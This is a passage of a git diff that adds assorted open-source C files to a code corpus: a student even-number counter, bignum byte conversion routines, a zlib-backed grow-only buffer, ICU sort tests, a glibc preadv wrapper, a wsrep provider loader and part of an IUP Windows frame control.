+int main (void) {
+    int i, q = 0;
+    int numero;
+
+    for (i = 0; i < 5; i++) {
+        scanf("%d", &numero);
+
+        if (numero % 2 == 0) q++;
+    }
+
+    printf("%d valores pares\n", q);
+
+    return 0;
+}
diff --git a/pool/shard001/C/0025951_bytes.c b/pool/shard001/C/0025951_bytes.c
new file mode 100644
index 0000000000000000000000000000000000000000..a2fde194e976a954f2085becb75d70e522c8e77c
--- /dev/null
+++ b/pool/shard001/C/0025951_bytes.c
@@ -0,0 +1,230 @@
+/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
+ * All rights reserved.
+ *
+ * This package is an SSL implementation written
+ * by Eric Young (eay@cryptsoft.com).
+ * The implementation was written so as to conform with Netscapes SSL.
+ *
+ * This library is free for commercial and non-commercial use as long as
+ * the following conditions are aheared to.  The following conditions
+ * apply to all code found in this distribution, be it the RC4, RSA,
+ * lhash, DES, etc., code; not just the SSL code.  The SSL documentation
+ * included with this distribution is covered by the same copyright terms
+ * except that the holder is Tim Hudson (tjh@cryptsoft.com).
+ *
+ * Copyright remains Eric Young's, and as such any Copyright notices in
+ * the code are not to be removed.
+ * If this package is used in a product, Eric Young should be given attribution
+ * as the author of the parts of the library used.
+ * This can be in the form of a textual message at program startup or
+ * in documentation (online or textual) provided with the package.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *    "This product includes cryptographic software written by
+ *     Eric Young (eay@cryptsoft.com)"
+ *    The word 'cryptographic' can be left out if the rouines from the library
+ *    being used are not cryptographic related :-).
+ * 4. If you include any Windows specific code (or a derivative thereof) from
+ *    the apps directory (application code) you must include an acknowledgement:
+ *    "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
+ *
+ * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * The licence and distribution terms for any publically available version or
+ * derivative of this code cannot be changed.  i.e. this code cannot simply be
+ * copied and put under another distribution licence
+ * [including the GNU Public Licence.] */
+
+#include <openssl_grpc/bn.h>
+
+#include <assert.h>
+#include <limits.h>
+
+#include "internal.h"
+
+
+BIGNUM *BN_bin2bn(const uint8_t *in, size_t len, BIGNUM *ret) {
+  size_t num_words;
+  unsigned m;
+  BN_ULONG word = 0;
+  BIGNUM *bn = NULL;
+
+  if (ret == NULL) {
+    ret = bn = BN_new();
+  }
+
+  if (ret == NULL) {
+    return NULL;
+  }
+
+  if (len == 0) {
+    ret->width = 0;
+    return ret;
+  }
+
+  num_words = ((len - 1) / BN_BYTES) + 1;
+  m = (len - 1) % BN_BYTES;
+  if (!bn_wexpand(ret, num_words)) {
+    if (bn) {
+      BN_free(bn);
+    }
+    return NULL;
+  }
+
+  // |bn_wexpand| must check bounds on |num_words| to write it into
+  // |ret->dmax|.
+  assert(num_words <= INT_MAX);
+  ret->width = (int)num_words;
+  ret->neg = 0;
+
+  while (len--) {
+    word = (word << 8) | *(in++);
+    if (m-- == 0) {
+      ret->d[--num_words] = word;
+      word = 0;
+      m = BN_BYTES - 1;
+    }
+  }
+
+  return ret;
+}
+
+BIGNUM *BN_le2bn(const uint8_t *in, size_t len, BIGNUM *ret) {
+  BIGNUM *bn = NULL;
+  if (ret == NULL) {
+    bn = BN_new();
+    ret = bn;
+  }
+
+  if (ret == NULL) {
+    return NULL;
+  }
+
+  if (len == 0) {
+    ret->width = 0;
+    ret->neg = 0;
+    return ret;
+  }
+
+  // Reserve enough space in |ret|.
+  size_t num_words = ((len - 1) / BN_BYTES) + 1;
+  if (!bn_wexpand(ret, num_words)) {
+    BN_free(bn);
+    return NULL;
+  }
+  ret->width = num_words;
+
+  // Make sure the top bytes will be zeroed.
+  ret->d[num_words - 1] = 0;
+
+  // We only support little-endian platforms, so we can simply memcpy the
+  // internal representation.
+  OPENSSL_memcpy(ret->d, in, len);
+  return ret;
+}
+
+size_t BN_bn2bin(const BIGNUM *in, uint8_t *out) {
+  size_t n, i;
+  BN_ULONG l;
+
+  n = i = BN_num_bytes(in);
+  while (i--) {
+    l = in->d[i / BN_BYTES];
+    *(out++) = (unsigned char)(l >> (8 * (i % BN_BYTES))) & 0xff;
+  }
+  return n;
+}
+
+static int fits_in_bytes(const uint8_t *bytes, size_t num_bytes, size_t len) {
+  uint8_t mask = 0;
+  for (size_t i = len; i < num_bytes; i++) {
+    mask |= bytes[i];
+  }
+  return mask == 0;
+}
+
+int BN_bn2le_padded(uint8_t *out, size_t len, const BIGNUM *in) {
+  const uint8_t *bytes = (const uint8_t *)in->d;
+  size_t num_bytes = in->width * BN_BYTES;
+  if (len < num_bytes) {
+    if (!fits_in_bytes(bytes, num_bytes, len)) {
+      return 0;
+    }
+    num_bytes = len;
+  }
+
+  // We only support little-endian platforms, so we can simply memcpy into the
+  // internal representation.
+  OPENSSL_memcpy(out, bytes, num_bytes);
+  // Pad out the rest of the buffer with zeroes.
+  OPENSSL_memset(out + num_bytes, 0, len - num_bytes);
+  return 1;
+}
+
+int BN_bn2bin_padded(uint8_t *out, size_t len, const BIGNUM *in) {
+  const uint8_t *bytes = (const uint8_t *)in->d;
+  size_t num_bytes = in->width * BN_BYTES;
+  if (len < num_bytes) {
+    if (!fits_in_bytes(bytes, num_bytes, len)) {
+      return 0;
+    }
+    num_bytes = len;
+  }
+
+  // We only support little-endian platforms, so we can simply write the buffer
+  // in reverse.
+  for (size_t i = 0; i < num_bytes; i++) {
+    out[len - i - 1] = bytes[i];
+  }
+  // Pad out the rest of the buffer with zeroes.
+  OPENSSL_memset(out, 0, len - num_bytes);
+  return 1;
+}
+
+BN_ULONG BN_get_word(const BIGNUM *bn) {
+  switch (bn_minimal_width(bn)) {
+    case 0:
+      return 0;
+    case 1:
+      return bn->d[0];
+    default:
+      return BN_MASK2;
+  }
+}
+
+int BN_get_u64(const BIGNUM *bn, uint64_t *out) {
+  switch (bn_minimal_width(bn)) {
+    case 0:
+      *out = 0;
+      return 1;
+    case 1:
+      *out = bn->d[0];
+      return 1;
+#if defined(OPENSSL_32_BIT)
+    case 2:
+      *out = (uint64_t) bn->d[0] | (((uint64_t) bn->d[1]) << 32);
+      return 1;
+#endif
+    default:
+      return 0;
+  }
+}
diff --git a/pool/shard001/C/0025970_gobuffer.c b/pool/shard001/C/0025970_gobuffer.c
new file mode 100644
index 0000000000000000000000000000000000000000..f4a30e564c8bca79a0f00cd9920f3ad22c8f7549
--- /dev/null
+++ b/pool/shard001/C/0025970_gobuffer.c
@@ -0,0 +1,140 @@
+/*
+  Copyright (C) 2008 Arnaldo Carvalho de Melo <acme@redhat.com>
+
+  Grow only buffer, add entries but never delete
+
+  This program is free software; you can redistribute it and/or modify it
+  under the terms of version 2 of the GNU General Public License as
+  published by the Free Software Foundation.
+*/
+
+#include "gobuffer.h"
+
+#include <search.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <zlib.h>
+#include <errno.h>
+
+#include "dutil.h"
+
+#define GOBUFFER__BCHUNK (8 * 1024)
+#define GOBUFFER__ZCHUNK (8 * 1024)
+
+void gobuffer__init(struct gobuffer *self)
+{
+	self->entries = NULL;
+	self->nr_entries = self->allocated_size = 0;
+	/* 0 == NULL */
+	self->index = 1;
+}
+
+struct gobuffer *gobuffer__new(void)
+{
+	struct gobuffer *self = malloc(sizeof(*self));
+
+	if (self != NULL)
+		gobuffer__init(self);
+
+	return self;
+}
+
+void __gobuffer__delete(struct gobuffer *self)
+{
+	free(self->entries);
+}
+
+void gobuffer__delete(struct gobuffer *self)
+{
+	__gobuffer__delete(self);
+	free(self);
+}
+
+void *gobuffer__ptr(const struct gobuffer *self, unsigned int s)
+{
+	return s ? self->entries + s : NULL;
+}
+
+int gobuffer__allocate(struct gobuffer *self, unsigned int len)
+{
+	const unsigned int rc = self->index;
+	const unsigned int index = self->index + len;
+
+	if (index >= self->allocated_size) {
+		unsigned int allocated_size = (self->allocated_size +
+					       GOBUFFER__BCHUNK);
+		if (allocated_size < index)
+			allocated_size = index + GOBUFFER__BCHUNK;
+		char *entries = realloc(self->entries, allocated_size);
+
+		if (entries == NULL)
+			return -ENOMEM;
+
+		self->allocated_size = allocated_size;
+		self->entries = entries;
+	}
+
+	self->index = index;
+	return rc;
+}
+
+int gobuffer__add(struct gobuffer *self, const void *s, unsigned int len)
+{
+	const int rc = gobuffer__allocate(self, len);
+
+	if (rc >= 0) {
+		++self->nr_entries;
+		memcpy(self->entries + rc, s, len);
+	}
+	return rc;
+}
+
+void gobuffer__copy(const struct gobuffer *self, void *dest)
+{
+	memcpy(dest, self->entries, gobuffer__size(self));
+}
+
+const void *gobuffer__compress(struct gobuffer *self, unsigned int *size)
+{
+	z_stream z = {
+		.zalloc	  = Z_NULL,
+		.zfree	  = Z_NULL,
+		.opaque	  = Z_NULL,
+		.avail_in = gobuffer__size(self),
+		.next_in  = (Bytef *)gobuffer__entries(self),
+	};
+	void *bf = NULL;
+	unsigned int bf_size = 0;
+
+	if (deflateInit(&z, Z_BEST_COMPRESSION) != Z_OK)
+		goto out_free;
+
+	do {
+		const unsigned int new_bf_size = bf_size + GOBUFFER__ZCHUNK;
+		void *nbf = realloc(bf, new_bf_size);
+
+		if (nbf == NULL)
+			goto out_close_and_free;
+
+		bf = nbf;
+		z.avail_out = GOBUFFER__ZCHUNK;
+		z.next_out  = (Bytef *)bf + bf_size;
+		bf_size	    = new_bf_size;
+		if (deflate(&z, Z_FINISH) == Z_STREAM_ERROR)
+			goto out_close_and_free;
+	} while (z.avail_out == 0);
+
+	deflateEnd(&z);
+	*size = bf_size - z.avail_out;
+out:
+	return bf;
+
+out_close_and_free:
+	deflateEnd(&z);
+out_free:
+	free(bf);
+	bf = NULL;
+	goto out;
+}
diff --git a/pool/shard001/C/0025975_sorttest.c b/pool/shard001/C/0025975_sorttest.c
new file mode 100644
index 0000000000000000000000000000000000000000..f25c2acb1f77b6b6e68047e592a19baa112d4a62
--- /dev/null
+++ b/pool/shard001/C/0025975_sorttest.c
@@ -0,0 +1,212 @@
+/*
+*******************************************************************************
+*
+*   Copyright (C) 2003-2014, International Business Machines
+*   Corporation and others.  All Rights Reserved.
+*
+*******************************************************************************
+*   file name:  sorttest.c
+*   encoding:   US-ASCII
+*   tab size:   8 (not used)
+*   indentation:4
+*
+*   created on: 2003aug04
+*   created by: Markus W. Scherer
+*
+*   Test internal sorting functions.
+*/
+
+#include <stdio.h>
+
+#include "unicode/utypes.h"
+#include "unicode/ucol.h"
+#include "unicode/ustring.h"
+#include "cmemory.h"
+#include "cintltst.h"
+#include "uarrsort.h"
+
+static void
+SortTest() {
+    uint16_t small[]={ 8, 1, 2, 5, 4, 3, 7, 6 };
+    int32_t medium[]={ 10, 8, 1, 2, 5, 5, -1, 6, 4, 3, 9, 7, 5 };
+    uint32_t large[]={ 21, 10, 20, 19, 11, 12, 13, 10, 10, 10, 10,
+                       8, 1, 2, 5, 10, 10, 4, 17, 18, 3, 9, 10, 7, 6, 14, 15, 16 };
+
+    int32_t i;
+    UErrorCode errorCode;
+
+    /* sort small array (stable) */
+    errorCode=U_ZERO_ERROR;
+    uprv_sortArray(small, UPRV_LENGTHOF(small), sizeof(small[0]), uprv_uint16Comparator, NULL, TRUE, &errorCode);
+    if(U_FAILURE(errorCode)) {
+        log_err("uprv_sortArray(small) failed - %s\n", u_errorName(errorCode));
+        return;
+    }
+    for(i=1; i<UPRV_LENGTHOF(small); ++i) {
+        if(small[i-1]>small[i]) {
+            log_err("uprv_sortArray(small) mis-sorted [%d]=%u > [%d]=%u\n", i-1, small[i-1], i, small[i]);
+            return;
+        }
+    }
+
+    /* for medium, add bits that will not be compared, to test stability */
+    for(i=0; i<UPRV_LENGTHOF(medium); ++i) {
+        medium[i]=(medium[i]<<4)|i;
+    }
+
+    /* sort medium array (stable) */
+    uprv_sortArray(medium, UPRV_LENGTHOF(medium), sizeof(medium[0]), uprv_int32Comparator, NULL, TRUE, &errorCode);
+    if(U_FAILURE(errorCode)) {
+        log_err("uprv_sortArray(medium) failed - %s\n", u_errorName(errorCode));
+        return;
+    }
+    for(i=1; i<UPRV_LENGTHOF(medium); ++i) {
+        if(medium[i-1]>=medium[i]) {
+            log_err("uprv_sortArray(medium) mis-sorted [%d]=%u > [%d]=%u\n", i-1, medium[i-1], i, medium[i]);
+            return;
+        }
+    }
+
+    /* sort large array (not stable) */
+    errorCode=U_ZERO_ERROR;
+    uprv_sortArray(large, UPRV_LENGTHOF(large), sizeof(large[0]), uprv_uint32Comparator, NULL, FALSE, &errorCode);
+    if(U_FAILURE(errorCode)) {
+        log_err("uprv_sortArray(large) failed - %s\n", u_errorName(errorCode));
+        return;
+    }
+    for(i=1; i<UPRV_LENGTHOF(large); ++i) {
+        if(large[i-1]>large[i]) {
+            log_err("uprv_sortArray(large) mis-sorted [%d]=%u > [%d]=%u\n", i-1, large[i-1], i, large[i]);
+            return;
+        }
+    }
+}
+
+#if !UCONFIG_NO_COLLATION
+
+/*
+ * Fill an array with semi-random short strings.
+ * Vary them enough to be interesting, but create duplicates.
+ * With CYCLE=10 characters per STR_LEN=3 string positions there are only 1000 unique strings.
+ * NUM_LINES should be larger than this.
+ */
+#define NUM_LINES 10000
+#define STR_LEN 3
+#define CYCLE 10
+
+/*
+ * Use characters beyond the Latin Extended A block to avoid a collator fastpath.
+ * They should sort unique, so that we can later use a binary comparison for string equality.
+ */
+#define BASE_CHAR 0x200
+
+typedef struct Line {
+    UChar s[STR_LEN];
+    int32_t recordNumber;
+} Line;
+
+static void
+printLines(const Line *lines) {
+#if 0
+    int32_t i, j;
+    for(i=0; i<NUM_LINES; ++i) {
+        const Line *line=lines+i;
+        for(j=0; j<STR_LEN; ++j) {
+            printf("%04x ", line->s[j]);
+        }
+        printf(" #%5d\n", line->recordNumber);
+    }
+#endif
+}
+
+/* Use a collator so that the comparisons are not essentially free, for simple benchmarking. */
+static int32_t U_EXPORT2
+linesComparator(const void *context, const void *left, const void *right) {
+    const UCollator *coll=(const UCollator *)context;
+    const Line *leftLine=(const Line *)left;
+    const Line *rightLine=(const Line *)right;
+    /* compare the strings but not the record number */
+    return ucol_strcoll(coll, leftLine->s, STR_LEN, rightLine->s, STR_LEN);
+}
+
+static void StableSortTest() {
+    UErrorCode errorCode=U_ZERO_ERROR;
+    UCollator *coll;
+    Line *lines, *p;
+    UChar s[STR_LEN];
+    int32_t i, j;
+
+    coll=ucol_open("root", &errorCode);
+    if(U_FAILURE(errorCode)) {
+        log_data_err("ucol_open(root) failed - %s\n", u_errorName(errorCode));
+        return;
+    }
+
+    lines=p=(Line *)uprv_malloc(NUM_LINES*sizeof(Line));
+    uprv_memset(lines, 0, NUM_LINES*sizeof(Line));  /* avoid uninitialized memory */
+
+    for(j=0; j<STR_LEN; ++j) { s[j]=BASE_CHAR; }
+    j=0;
+    for(i=0; i<NUM_LINES; ++i) {
+        UChar c;
+        u_memcpy(p->s, s, STR_LEN);
+        p->recordNumber=i;
+        /* Modify the string for the next line. */
+        c=s[j]+1;
+        if(c==BASE_CHAR+CYCLE) { c=BASE_CHAR; }
+        s[j]=c;
+        if(++j==STR_LEN) { j=0; }
+        ++p;
+    }
+    puts("\n* lines before sorting");
+    printLines(lines);
+
+    uprv_sortArray(lines, NUM_LINES, (int32_t)sizeof(Line),
+                   linesComparator, coll, TRUE, &errorCode);
+    if(U_FAILURE(errorCode)) {
+        log_err("uprv_sortArray() failed - %s\n", u_errorName(errorCode));
+        return;
+    }
+    puts("* lines after sorting");
+    printLines(lines);
+
+    /* Verify that the array is sorted correctly. */
+    p=lines;
+    for(i=1; i<NUM_LINES; ++i) {
+        Line *q=p+1;  /* =lines+i */
+        /* Binary comparison first, for speed. In this case, equal strings must be identical. */
+        int32_t diff=u_strCompare(p->s, STR_LEN, q->s, STR_LEN, FALSE);
+        if(diff==0) {
+            if(p->recordNumber>=q->recordNumber) {
+                log_err("equal strings %d and %d out of order at sorted index %d\n",
+                        (int)p->recordNumber, (int)q->recordNumber, (int)i);
+                break;
+            }
+        } else {
+            /* Compare unequal strings with the collator. */
+            diff=ucol_strcoll(coll, p->s, STR_LEN, q->s, STR_LEN);
+            if(diff>=0) {
+                log_err("unequal strings %d and %d out of order at sorted index %d\n",
+                        (int)p->recordNumber, (int)q->recordNumber, (int)i);
+                break;
+            }
+        }
+        p=q;
+    }
+
+    uprv_free(lines);
+    ucol_close(coll);
+}
+
+#endif  /* !UCONFIG_NO_COLLATION */
+
+void
+addSortTest(TestNode** root);
+
+void
+addSortTest(TestNode** root) {
+    addTest(root, &SortTest, "tsutil/sorttest/SortTest");
+#if !UCONFIG_NO_COLLATION
+    addTest(root, &StableSortTest, "tsutil/sorttest/StableSortTest");
+#endif
+}
diff --git a/pool/shard001/C/0025976_preadv.c b/pool/shard001/C/0025976_preadv.c
new file mode 100644
index 0000000000000000000000000000000000000000..1dae1272d0527a5f8f98ba5d64a59ca961221b7e
--- /dev/null
+++ b/pool/shard001/C/0025976_preadv.c
@@ -0,0 +1,55 @@
+/* Copyright (C) 2011-2014 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Chris Metcalf <cmetcalf@tilera.com>, 2011.
+   Based on work contributed by Ulrich Drepper <drepper@cygnus.com>, 1997.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library.  If not, see
+   <http://www.gnu.org/licenses/>.  */
+
+#include <assert.h>
+#include <errno.h>
+#include <endian.h>
+#include <unistd.h>
+#include <sys/uio.h>
+
+#include <sysdep-cancel.h>
+#include <sys/syscall.h>
+
+#include <kernel-features.h>
+
+static ssize_t
+do_preadv (int fd, const struct iovec *vector, int count, off_t offset)
+{
+  assert (sizeof (offset) == 4);
+  return INLINE_SYSCALL (preadv, __ALIGNMENT_COUNT (5, 6), fd,
+                         vector, count, __ALIGNMENT_ARG
+                         __LONG_LONG_PAIR (offset >> 31, offset));
+}
+
+ssize_t
+__libc_preadv (int fd, const struct iovec *vector, int count, off_t offset)
+{
+  if (SINGLE_THREAD_P)
+    return do_preadv (fd, vector, count, offset);
+
+  int oldtype = LIBC_CANCEL_ASYNC ();
+
+  ssize_t result = do_preadv (fd, vector, count, offset);
+
+  LIBC_CANCEL_RESET (oldtype);
+
+  return result;
+}
+strong_alias (__libc_preadv, __preadv)
+weak_alias (__libc_preadv, preadv)
diff --git a/pool/shard001/C/0025979_wsrep_loader.c b/pool/shard001/C/0025979_wsrep_loader.c
new file mode 100644
index 0000000000000000000000000000000000000000..1321538742f13a2415a901499fe09ba25414f497
--- /dev/null
+++ b/pool/shard001/C/0025979_wsrep_loader.c
@@ -0,0 +1,226 @@
+/* Copyright (C) 2009-2011 Codership Oy <info@codersihp.com>
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; version 2 of the License.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1301 USA
+ */
+
+/*! @file wsrep implementation loader */
+
+#include <dlfcn.h>
+#include <errno.h>
+#include <string.h>
+#include <stdio.h>
+
+#include "wsrep_api.h"
+
+// Logging stuff for the loader
+static const char* log_levels[] = {"FATAL", "ERROR", "WARN", "INFO", "DEBUG"};
+
+static void default_logger (wsrep_log_level_t lvl, const char* msg)
+{
+    fprintf (stderr, "wsrep loader: [%s] %s\n", log_levels[lvl], msg);
+}
+
+static wsrep_log_cb_t logger = default_logger;
+
+/**************************************************************************
+ * Library loader
+ **************************************************************************/
+
+static int wsrep_check_iface_version(const char* found, const char* iface_ver)
+{
+    const size_t msg_len = 128;
+    char msg[128];
+
+    if (strcmp(found, iface_ver)) {
+        snprintf (msg, msg_len,
+                  "provider interface version mismatch: need '%s', found '%s'",
+                  iface_ver, found);
+        logger (WSREP_LOG_ERROR, msg);
+        return EINVAL;
+    }
+
+    return 0;
+}
+
+static int verify(const wsrep_t *wh, const char *iface_ver)
+{
+    char msg[128];
+
+#define VERIFY(_p) if (!(_p)) {                                       \
+        snprintf(msg, sizeof(msg), "wsrep_load(): verify(): %s\n", # _p); \
+        logger (WSREP_LOG_ERROR, msg);                                \
+        return EINVAL;                                                \
+    }
+
+    VERIFY(wh);
+    VERIFY(wh->version);
+
+    if (wsrep_check_iface_version(wh->version, iface_ver))
+        return EINVAL;
+
+    VERIFY(wh->init);
+    VERIFY(wh->options_set);
+    VERIFY(wh->options_get);
+    VERIFY(wh->connect);
+    VERIFY(wh->disconnect);
+    VERIFY(wh->recv);
+    VERIFY(wh->pre_commit);
+    VERIFY(wh->post_commit);
+    VERIFY(wh->post_rollback);
+    VERIFY(wh->replay_trx);
+    VERIFY(wh->abort_pre_commit);
+    VERIFY(wh->append_key);
+    VERIFY(wh->append_data);
+    VERIFY(wh->free_connection);
+    VERIFY(wh->to_execute_start);
+    VERIFY(wh->to_execute_end);
+    VERIFY(wh->preordered_collect);
+    VERIFY(wh->preordered_commit);
+    VERIFY(wh->sst_sent);
+    VERIFY(wh->sst_received);
+    VERIFY(wh->stats_get);
+    VERIFY(wh->stats_free);
+    VERIFY(wh->stats_reset);
+    VERIFY(wh->pause);
+    VERIFY(wh->resume);
+    VERIFY(wh->desync);
+    VERIFY(wh->resync);
+    VERIFY(wh->lock);
+    VERIFY(wh->unlock);
+    VERIFY(wh->is_locked);
+    VERIFY(wh->provider_name);
+    VERIFY(wh->provider_version);
+    VERIFY(wh->provider_vendor);
+    VERIFY(wh->free);
+    return 0;
+}
+
+typedef int (*wsrep_loader_fun)(wsrep_t*);
+
+static wsrep_loader_fun wsrep_dlf(void *dlh, const char *sym)
+{
+    union {
+        wsrep_loader_fun dlfun;
+        void *obj;
+    } alias;
+    alias.obj = dlsym(dlh, sym);
+    return alias.dlfun;
+}
+
+static int wsrep_check_version_symbol(void *dlh)
+{
+    char** dlversion = NULL;
+    dlversion = (char**) dlsym(dlh, "wsrep_interface_version");
+    if (dlversion == NULL)
+        return 0;
+    return wsrep_check_iface_version(*dlversion, WSREP_INTERFACE_VERSION);
+}
+
+extern int wsrep_dummy_loader(wsrep_t *w);
+
+int wsrep_load(const char *spec, wsrep_t **hptr, wsrep_log_cb_t log_cb)
+{
+    int ret = 0;
+    void *dlh = NULL;
+    wsrep_loader_fun dlfun;
+    char msg[1025];
+    msg[sizeof(msg)-1] = 0;
+
+    if (NULL != log_cb)
+        logger = log_cb;
+
+    if (!(spec && hptr))
+        return EINVAL;
+
+    snprintf (msg, sizeof(msg)-1,
+              "wsrep_load(): loading provider library '%s'", spec);
+    logger (WSREP_LOG_INFO, msg);
+
+    if (!(*hptr = malloc(sizeof(wsrep_t)))) {
+        logger (WSREP_LOG_FATAL, "wsrep_load(): out of memory");
+        return ENOMEM;
+    }
+
+    if (!spec || strcmp(spec, WSREP_NONE) == 0) {
+        if ((ret = wsrep_dummy_loader(*hptr)) != 0) {
+            free (*hptr);
+            *hptr = NULL;
+        }
+        return ret;
+    }
+
+    if (!(dlh = dlopen(spec, RTLD_NOW | RTLD_LOCAL))) {
+        snprintf(msg, sizeof(msg)-1, "wsrep_load(): dlopen(): %s", dlerror());
+        logger (WSREP_LOG_ERROR, msg);
+        ret = EINVAL;
+        goto out;
+    }
+
+    if (!(dlfun = wsrep_dlf(dlh, "wsrep_loader"))) {
+        ret = EINVAL;
+        goto out;
+    }
+
+    if (wsrep_check_version_symbol(dlh) != 0) {
+        ret = EINVAL;
+        goto out;
+    }
+
+    if ((ret = (*dlfun)(*hptr)) != 0) {
+        snprintf(msg, sizeof(msg)-1, "wsrep_load(): loader failed: %s",
+                 strerror(ret));
+        logger (WSREP_LOG_ERROR, msg);
+        goto out;
+    }
+
+    if ((ret = verify(*hptr, WSREP_INTERFACE_VERSION)) != 0) {
+        snprintf (msg, sizeof(msg)-1,
+                  "wsrep_load(): interface version mismatch: my version %s, "
+                  "provider version %s", WSREP_INTERFACE_VERSION,
+                  (*hptr)->version);
+        logger (WSREP_LOG_ERROR, msg);
+        goto out;
+    }
+
+    (*hptr)->dlh = dlh;
+
+out:
+    if (ret != 0) {
+        if (dlh) dlclose(dlh);
+        free(*hptr);
+        *hptr = NULL;
+    } else {
+        snprintf (msg, sizeof(msg)-1,
+                  "wsrep_load(): %s %s by %s loaded successfully.",
+                  (*hptr)->provider_name, (*hptr)->provider_version,
+                  (*hptr)->provider_vendor);
+        logger (WSREP_LOG_INFO, msg);
+    }
+
+    return ret;
+}
+
+void wsrep_unload(wsrep_t *hptr)
+{
+    if (!hptr) {
+        logger (WSREP_LOG_WARN, "wsrep_unload(): null pointer.");
+    } else {
+        if (hptr->free)
+            hptr->free(hptr);
+        if (hptr->dlh)
+            dlclose(hptr->dlh);
+        free(hptr);
+    }
+}
+
diff --git a/pool/shard001/C/0025982_iupwin_frame.c b/pool/shard001/C/0025982_iupwin_frame.c
new file mode 100644
index 0000000000000000000000000000000000000000..c069c5e6797efa7dc1dd5a4651d166952648afc4
--- /dev/null
+++ b/pool/shard001/C/0025982_iupwin_frame.c
@@ -0,0 +1,245 @@
+/** \file
+ * \brief Frame Control
+ *
+ * See Copyright Notice in "iup.h"
+ */
+
+#include <windows.h>
+#include <commctrl.h>
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <memory.h>
+#include <stdarg.h>
+
+#include "iup.h"
+
+#include "iup_object.h"
+#include "iup_attrib.h"
+#include "iup_str.h"
+#include "iup_drv.h"
+#include "iup_stdcontrols.h"
+#include "iup_frame.h"
+
+#include "iupwin_drv.h"
+#include "iupwin_handle.h"
+#include "iupwin_draw.h"
+#include "iupwin_info.h"
+#include "iupwin_str.h"
+
+
+void iupdrvFrameGetDecorOffset(int *x, int *y)
+{
+  /* LAYOUT_DECORATION_ESTIMATE */
+  if (iupwin_comctl32ver6)
+  {
+    *x = 3;
+    *y = 3;
+  }
+  else
+  {
+    *x = 2;
+    *y = 2;
+  }
+}
+
+int iupdrvFrameHasClientOffset(void)
+{
+  return 1;
+}
+
+static int winFrameSetBgColorAttrib(Ihandle* ih, const char* value)
+{
+  (void)value;
+
+  if (iupAttribGet(ih, "_IUPFRAME_HAS_BGCOLOR"))
+  {
+    IupUpdate(ih); /* post a redraw */
+    return 1;  /* save on the hash table */
+  }
+  else
+    return 0;
+}
+
+static int winFrameSetTitleAttrib(Ihandle* ih, const char* value)
+{
+  iupwinSetTitleAttrib(ih, value);
+  iupdrvPostRedraw(ih);
+  return 1;
+}
+
+static void winFrameDrawText(HDC hDC, const char* text, int x, int y, COLORREF fgcolor)
+{
+  COLORREF oldcolor;
+
+  SetTextAlign(hDC, TA_TOP|TA_LEFT);
+  SetBkMode(hDC, TRANSPARENT);
+  oldcolor = SetTextColor(hDC, fgcolor);
+
+  {
+    int len = (int)strlen(text);
+    TCHAR* str = iupwinStrToSystemLen(text, &len);
+    TextOut(hDC, x, y, str, len);
+  }
+
+  SetTextColor(hDC, oldcolor);
+  SetBkMode(hDC, OPAQUE);
+}
+
+static void winFrameDrawItem(Ihandle* ih, DRAWITEMSTRUCT *drawitem)
+{ 
+  iupwinBitmapDC bmpDC;
+  HDC hDC = iupwinDrawCreateBitmapDC(&bmpDC, drawitem->hDC, 0, 0, drawitem->rcItem.right-drawitem->rcItem.left, 
+                                                                  drawitem->rcItem.bottom-drawitem->rcItem.top);
+
+  iupwinDrawParentBackground(ih, hDC, &drawitem->rcItem);
+
+  if (iupAttribGet(ih, "_IUPFRAME_HAS_TITLE"))
+  {
+    int x, y;
+    HFONT hOldFont, hFont = (HFONT)iupwinGetHFontAttrib(ih);
+    int txt_height = iupFrameGetTitleHeight(ih);
+    COLORREF fgcolor;
+    SIZE size;
+
+    char* title = iupAttribGet(ih, "TITLE");
+    if (!title) title = "";
+
+    x = drawitem->rcItem.left+7;
+    y = drawitem->rcItem.top;
+
